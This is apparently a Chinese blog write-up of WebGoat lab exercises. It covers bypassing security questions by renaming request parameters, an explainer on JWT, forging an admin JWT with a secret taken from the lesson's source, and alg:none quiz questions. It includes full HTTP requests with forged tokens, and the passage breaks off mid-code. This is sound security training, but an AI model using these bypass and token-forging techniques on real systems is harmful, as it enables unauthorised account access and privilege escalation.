密保绕过&JWT漏洞

密保绕过

通过修改参数名来绕过认证。

原理

后端逻辑验证不完善,导致在参数名错误的情况下,无论参数值是否正确均可以通过验证。

WebGoat靶场演示

首先进行参数拦截,请求体如下

POST /WebGoat/auth-bypass/verify-account HTTP/1.1
Host: localhost:8080
Content-Length: 94
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=cYU0K92Prk2_zdQkWkK5EX2mqiv3K6kngF6zs23p
Connection: keep-alive

secQuestion0=asdasd&secQuestion1=asdasd&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

放行后响应体如下

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Mon, 08 Sep 2025 07:26:07 GMT
Content-Length: 164

{
  "lessonCompleted" : false,
  "feedback" : "Not quite, please try again.",
  "output" : null,
  "assignment" : "VerifyAccount",
  "attemptWasMade" : true
}

这里我们修改请求体中参数名,修改后如下

POST /WebGoat/auth-bypass/verify-account HTTP/1.1
Host: localhost:8080
Content-Length: 94
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=cYU0K92Prk2_zdQkWkK5EX2mqiv3K6kngF6zs23p
Connection: keep-alive

secQuestion2=asdasd&secQuestion3=asdasd&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

再次发送,查看响应体

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Mon, 08 Sep 2025 07:29:03 GMT
Content-Length: 252

{
  "lessonCompleted" : true,
  "feedback" : "Congrats, you have successfully verified the account without actually verifying it. You can now change your password!",
  "output" : null,
  "assignment" : "VerifyAccount",
  "attemptWasMade" : true
}

发现已经绕过。

JWT

什么是JWT

JWT(Json Web Token)是一种开放标准(RFC 7519),用于在各方之间以一种简洁、安全且可自我验证的方式传递信息。它被广泛应用于身份认证和信息交换中,尤其在Web应用中。

JWT的组成

JWT由三个部分组成,每一部分之间由点(.)连接:

  1. 头部(Header):描述JWT的元数据,包括使用的签名算法(如HMAC、SHA256、RSA等)。
    示例:
    {
      "alg": "HS256",
      "typ": "JWT"
    }
  2. 载荷(Payload):包含需要传递的生命(claims)。声明是关于实体(通常是用户)和其他数据的语句。它通常包含注册声明(如iss签发日期、exp有效期至等)、公共声明和私有声明。
    示例:
    {
      "sub": "1234567890",
      "name": "John Doe",
      "iat": 1516239022
    }
  3. 签名(Signature):用于验证消息的完整性,并确认发送者的身份。签名的生成方式是使用头部指定的算法(如HMAC SHA256)对头部和载荷进行编码后加密,并附上一个密钥(secret)。
    示例:
    HMACSHA256(
      base64UrlEncode(header) + "." +
      base64UrlEncode(payload),
      secret)

上方的html代码如下

<ol>
  <li>
    <strong>头部(Header)</strong>:描述JWT的元数据,包括使用的签名算法(如HMAC、SHA256、RSA等)。
    <br />示例:
    <br />
  <!-- wp:kevinbatdorf/code-block-pro {"code":"{\n  \u0022alg\u0022: \u0022HS256\u0022,\n  \u0022typ\u0022: \u0022JWT\u0022\n}","codeHTML":"\u003cpre class=\u0022shiki dark-plus\u0022 style=\u0022background-color: #1E1E1E\u0022 tabindex=\u00220\u0022\u003e\u003ccode\u003e\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;alg\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;HS256\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;typ\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;JWT\u0026quot;\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e","language":"json","theme":"dark-plus","bgColor":"#1E1E1E","textColor":"#D4D4D4","fontSize":".875rem","fontFamily":"Code-Pro-JetBrains-Mono","lineHeight":"1.25rem","clampFonts":false,"lineNumbers":false,"headerType":"headlights","disablePadding":false,"footerType":"none","enableMaxHeight":false,"seeMoreType":"","seeMoreString":"","seeMoreAfterLine":"","seeMoreTransition":false,"seeMoreCollapse":false,"seeMoreCollapseString":"","highlightingHover":false,"lineHighlightColor":"rgba(234, 191, 191, 0.2)","copyButton":true,"copyButtonType":"heroicons","copyButtonUseTextarea":true,"useTabs":false} -->
<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#1E1E1E"><svg xmlns="http://www.w3.org/2000/svg" width="54" height="14" viewBox="0 0 54 14"><g fill="none" fill-rule="evenodd" transform="translate(1 1)"><circle cx="6" cy="6" r="6" fill="#FF5F56" stroke="#E0443E" stroke-width=".5"></circle><circle cx="26" cy="6" r="6" fill="#FFBD2E" stroke="#DEA123" stroke-width=".5"></circle><circle cx="46" cy="6" r="6" fill="#27C93F" stroke="#1AAB29" stroke-width=".5"></circle></g></svg></span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="复制" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>{
  "alg": "HS256",
  "typ": "JWT"
}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">{</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #9CDCFE">"alg"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"HS256"</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #9CDCFE">"typ"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"JWT"</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>
<!-- /wp:kevinbatdorf/code-block-pro -->
  </li>
  <li>
    <strong>载荷(Payload)</strong>:包含需要传递的生命(claims)。声明是关于实体(通常是用户)和其他数据的语句。它通常包含注册声明(如iss签发日期、exp有效期至等)、公共声明和私有声明。
    <br />示例:
    <br />
  <!-- wp:kevinbatdorf/code-block-pro {"code":"{\n  \u0022sub\u0022: \u00221234567890\u0022,\n  \u0022name\u0022: \u0022John Doe\u0022,\n  \u0022iat\u0022: 1516239022\n}","codeHTML":"\u003cpre class=\u0022shiki dark-plus\u0022 style=\u0022background-color: #1E1E1E\u0022 tabindex=\u00220\u0022\u003e\u003ccode\u003e\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;sub\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;1234567890\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;name\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;John Doe\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #9CDCFE\u0022\u003e\u0026quot;iat\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e: \u003c/span\u003e\u003cspan style=\u0022color: #B5CEA8\u0022\u003e1516239022\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e","language":"json","theme":"dark-plus","bgColor":"#1E1E1E","textColor":"#D4D4D4","fontSize":".875rem","fontFamily":"Code-Pro-JetBrains-Mono","lineHeight":"1.25rem","clampFonts":false,"lineNumbers":false,"headerType":"headlights","disablePadding":false,"footerType":"none","enableMaxHeight":false,"seeMoreType":"","seeMoreString":"","seeMoreAfterLine":"","seeMoreTransition":false,"seeMoreCollapse":false,"seeMoreCollapseString":"","highlightingHover":false,"lineHighlightColor":"rgba(234, 191, 191, 0.2)","copyButton":true,"copyButtonType":"heroicons","copyButtonUseTextarea":true,"useTabs":false} -->
<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#1E1E1E"><svg xmlns="http://www.w3.org/2000/svg" width="54" height="14" viewBox="0 0 54 14"><g fill="none" fill-rule="evenodd" transform="translate(1 1)"><circle cx="6" cy="6" r="6" fill="#FF5F56" stroke="#E0443E" stroke-width=".5"></circle><circle cx="26" cy="6" r="6" fill="#FFBD2E" stroke="#DEA123" stroke-width=".5"></circle><circle cx="46" cy="6" r="6" fill="#27C93F" stroke="#1AAB29" stroke-width=".5"></circle></g></svg></span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="复制" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">{</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #9CDCFE">"sub"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"1234567890"</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #9CDCFE">"name"</span><span style="color: #D4D4D4">: </span><span style="color: #CE9178">"John Doe"</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #9CDCFE">"iat"</span><span style="color: #D4D4D4">: </span><span style="color: #B5CEA8">1516239022</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>
<!-- /wp:kevinbatdorf/code-block-pro -->
  </li>
  <li>
    <strong>签名(Signature)</strong>:用于验证消息的完整性,并确认发送者的身份。签名的生成方式是使用头部指定的算法(如HMAC SHA256)对头部和载荷进行编码后加密,并附上一个密钥(secret)。
    <br />示例:
    <br />
  <!-- wp:kevinbatdorf/code-block-pro {"code":"HMACSHA256(\n  base64UrlEncode(header) + \u0022.\u0022 +\n  base64UrlEncode(payload),\n  secret)","codeHTML":"\u003cpre class=\u0022shiki dark-plus\u0022 style=\u0022background-color: #1E1E1E\u0022 tabindex=\u00220\u0022\u003e\u003ccode\u003e\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #DCDCAA\u0022\u003eHMACSHA256\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e(\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #DCDCAA\u0022\u003ebase64UrlEncode\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e(header) + \u003c/span\u003e\u003cspan style=\u0022color: #CE9178\u0022\u003e\u0026quot;.\u0026quot;\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e +\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  \u003c/span\u003e\u003cspan style=\u0022color: #DCDCAA\u0022\u003ebase64UrlEncode\u003c/span\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e(payload),\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\u0022line\u0022\u003e\u003cspan style=\u0022color: #D4D4D4\u0022\u003e  secret)\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e","language":"java","theme":"dark-plus","bgColor":"#1E1E1E","textColor":"#D4D4D4","fontSize":".875rem","fontFamily":"Code-Pro-JetBrains-Mono","lineHeight":"1.25rem","clampFonts":false,"lineNumbers":false,"headerType":"headlights","disablePadding":false,"footerType":"none","enableMaxHeight":false,"seeMoreType":"","seeMoreString":"","seeMoreAfterLine":"","seeMoreTransition":false,"seeMoreCollapse":false,"seeMoreCollapseString":"","highlightingHover":false,"lineHighlightColor":"rgba(234, 191, 191, 0.2)","copyButton":true,"copyButtonType":"heroicons","copyButtonUseTextarea":true,"useTabs":false} -->
<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#1E1E1E"><svg xmlns="http://www.w3.org/2000/svg" width="54" height="14" viewBox="0 0 54 14"><g fill="none" fill-rule="evenodd" transform="translate(1 1)"><circle cx="6" cy="6" r="6" fill="#FF5F56" stroke="#E0443E" stroke-width=".5"></circle><circle cx="26" cy="6" r="6" fill="#FFBD2E" stroke="#DEA123" stroke-width=".5"></circle><circle cx="46" cy="6" r="6" fill="#27C93F" stroke="#1AAB29" stroke-width=".5"></circle></g></svg></span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="复制" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">HMACSHA256</span><span style="color: #D4D4D4">(</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #DCDCAA">base64UrlEncode</span><span style="color: #D4D4D4">(header) + </span><span style="color: #CE9178">"."</span><span style="color: #D4D4D4"> +</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #DCDCAA">base64UrlEncode</span><span style="color: #D4D4D4">(payload),</span></span>
<span class="line"><span style="color: #D4D4D4">  secret)</span></span></code></pre></div>
<!-- /wp:kevinbatdorf/code-block-pro -->
  </li>
</ol>

JWT的工作原理

JWT通常用于身份验证和信息交换。它的工作原理可以分为以下几个步骤:

  1. 用户登录:
    用户提供用户名和密码,后端验证成功后生成一个JWT并返回给客户端(通常保存在本地存储或Cookie中)。
  2. 每次请求都发送JWT
    客户端在后续的请求中将JWT作为HTTP头部(通常是Authorization:Bearer <token>)发送给后端。
  3. 验证JWT
    后端接收到请求后,会验证JWT的签名,确保它没有被篡改。还会检查JWT中的声明(如exp,即过期时间)来判断该令牌是否仍然有效。
  4. 成功验证后继续处理请求
    一旦JWT验证通过,后端可以使用其中的用户信息(如用户ID)来处理请求。

JWT的优点

  1. 无状态
    JWT是自包含的,包含所有必要的用户信息,后端无需存储任何会话信息。因此,JWT特别适合分布式系统。
  2. 跨平台
    JWT是基于JSON格式的,支持广泛的变成语言和框架。它可以在不同的系统、设备和平台间传递。
  3. 灵活性
    可以包含多种类型的声明,如注册声明、公共声明和私有声明,可以灵活地存储和传递各种信息。
  4. 易于实现
    JWT通常使用简单的算法(如HMAC,RSA等)进行签名验证,易于在Web应用中集成。

JWT的安全性

  • 签名的安全性:JWT的签名部分可以保证消息的完整性,防止被篡改。如果使用合适的密钥或公私钥对进行签名,签名部分的篡改会导致验证失败。
  • 过期时间(exp):为了防止JWT长期有效带来的安全风险,通常会为JWT设置过期时间,并且验证过期时间以确保JWT是最新的。
  • 敏感信息:JWT并不加密载荷,任何人都可以解码并查看其中的内容。因此,不应将敏感数据(如密码)放入JWT的载荷中。可以使用加密JWT(JWE)来解决这个问题,但这种方式不如普通的JWT常用。

总结

JWT是一种广泛应用于Web应用和分布式系统中的标准,它简化了身份验证和信息交换的过程,尤其是在无状态的环境下。通过有效的签名机制,JWT确保了信息的完整性和来源的可信性。在实际应用中,需要注意保护密钥安全,避免泄露敏感信息。

WebGoat靶场中的JWT练习

任务1-Page3

要求:解码下面JWT token。

eyJhbGciOiJIUzI1NiJ9.ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9.9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

分成三段来看。第一段如下

eyJhbGciOiJIUzI1NiJ9

看起来是个Base64加密后的字符,我们将这些字符进行base64解码后发现得到以下信息

{"alg":"HS256"}

第二段如下

ew0KICAiYXV0aG9yaXRpZXMiIDogWyAiUk9MRV9BRE1JTiIsICJST0xFX1VTRVIiIF0sDQogICJjbGllbnRfaWQiIDogIm15LWNsaWVudC13aXRoLXNlY3JldCIsDQogICJleHAiIDogMTYwNzA5OTYwOCwNCiAgImp0aSIgOiAiOWJjOTJhNDQtMGIxYS00YzVlLWJlNzAtZGE1MjA3NWI5YTg0IiwNCiAgInNjb3BlIiA6IFsgInJlYWQiLCAid3JpdGUiIF0sDQogICJ1c2VyX25hbWUiIDogInVzZXIiDQp9

解码后得到

{
  "authorities" : [ "ROLE_ADMIN", "ROLE_USER" ],
  "client_id" : "my-client-with-secret",
  "exp" : 1607099608,
  "jti" : "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "scope" : [ "read", "write" ],
  "user_name" : "user"
}

第三段如下

9lYaULTuoIDJ86-zKDSntJQyHPpJ2mZAbnWRfel99iI

从字符上看存在符号“-”,不是base64编码后的字符,应该是第一段和第二段结合后进行加密后的结果,一般情况下使用RSA或者其他加密方式,解密需要知道公钥和私钥。

这里题目只要求给出用户名。从第二段的明文中可以得到,用户名为user

任务2-页面5

要求:使用管理员权限来重置投票。

游客模式无法进行投票,我们切换一下用户,再看一下投票请求。

Accept:
*/*
Accept-Encoding:
gzip, deflate, br, zstd
Accept-Language:
zh-CN
Cookie:
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3NTg0MjkzMTQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Ab1IdGx7ZG6forS_MO7GRHKUYmz5qUeZcAy4z9JDxEZGORnzaUu1fbBFd61Jp5_q_ZZV50aV1z6GCM2Tt8G8OA; JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Host:
localhost:8080
Proxy-Connection:
keep-alive
Referer:
http://localhost:8080/WebGoat/start.mvc
Sec-Ch-Ua:
"Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Mobile:
?0
Sec-Ch-Ua-Platform:
"Windows"
Sec-Fetch-Dest:
empty
Sec-Fetch-Mode:
cors
Sec-Fetch-Site:
same-origin
User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
X-Requested-With:
XMLHttpRequest

我们先对JWT解码,前两段的解码结果如下

{"alg":"HS512"}
{"iat":1758429314,"admin":"false","user":"Tom"}

iat指的是签发时间。这里我们需要将参数admin的值改成true,再重新签名,将头部载荷签名再用点连接起来重新尝试一下,看看可不可以投票成功。

现在我们虽然知道了加密方式是HS512,但是还缺少密钥,需要去查看一下源码,先将jar包解压,再将项目文件使用IDEA打开,找到文件->BOOT-INF->lib->jwt-8.2.2.jar,右键将其添加库(相当于解压文件),再找到文件jwt-8.2.2.jar->org.owasp.webgoat.jwt->JWTVotesEndpoint,查看Mapping。

在静态变量中发现了密钥。

static {
    JWT_PASSWORD = TextCodec.BASE64.encode("victory");
    validUsers = "TomJerrySylvester";
    totalVotes = 38929;
}

在赛博厨师(CyberChef)工具中选中JWT生成,并写入密钥,再将下面的payload放入即可生成有效的JWT

{"iat":1758429314,"admin":"true","user":"Tom"}

生成的JWT如下

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3NTg0MjkzMTQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.iT-1XmmWokaPuG9ZyJMWCKukPrtLAisBQNoQJ4CcV96BR7rVBAaXUQPDCbJAKNStJnCy3Q1sKF9URj7QdfPw1g

修改重置投票的POST请求

POST /WebGoat/JWT/votings HTTP/1.1
Host: localhost:8080
Content-Length: 0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: access_token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3NTg0MjkzMTQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.iT-1XmmWokaPuG9ZyJMWCKukPrtLAisBQNoQJ4CcV96BR7rVBAaXUQPDCbJAKNStJnCy3Q1sKF9URj7QdfPw1g; JSESSIONID=Pmf5ido2f-H4hR0_nosxgIVWQRr455T8JVXMPZY4
Connection: keep-alive

响应结果

HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Thu, 11 Sep 2025 11:40:52 GMT
Content-Length: 202

{
  "lessonCompleted" : true,
  "feedback" : "Congratulations. You have successfully completed the assignment.",
  "output" : null,
  "assignment" : "JWTVotesEndpoint",
  "attemptWasMade" : true
}

发现完成该任务。

任务3-页面7

JWT如下(没有签名),其中明确给出的算法是 alg: none

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.

测验1

判断JWT的代码如下,说出会出现什么问题?

try {
   Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parseClaimsJws(accessToken);
   Claims claims = (Claims) jwt.getBody();
   String user = (String) claims.get("user");
   boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
   if (isAdmin) {
     removeAllUsers();
   } else {
     log.error("You are not an admin user");
   }
} catch (JwtException e) {
  throw new InvalidTokenException(e);
}

答:

由于声明的算法是none,意味着这个JWT没有使用签名进行验证,但是parseClaimsJws这个方法期待一个有效的签名算法。如果使用none作为算法,这个方法会抛出JwtException。

测验2(未有效解决)

判断JWT的代码如下,说出会出现什么问题?

try {
   Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
   Claims claims = (Claims) jwt.getBody();
   String user = (String) claims.get("user");
   boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
   if (isAdmin) {
     removeAllUsers();
   } else {
     log.error("You are not an admin user");
   }
} catch (JwtException e) {
  throw new InvalidTokenException(e);
}

答:

解码载荷(第二段),得到如下结果

{"sub":"1234567890","user":"John Doe","admin":true,"iat":1516239022}

根据测试,在java17环境下,使用jjwt-0.10.1依赖包,测试下面的代码

package org.example;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;

public class Main {
    public static void main(String[] args) {
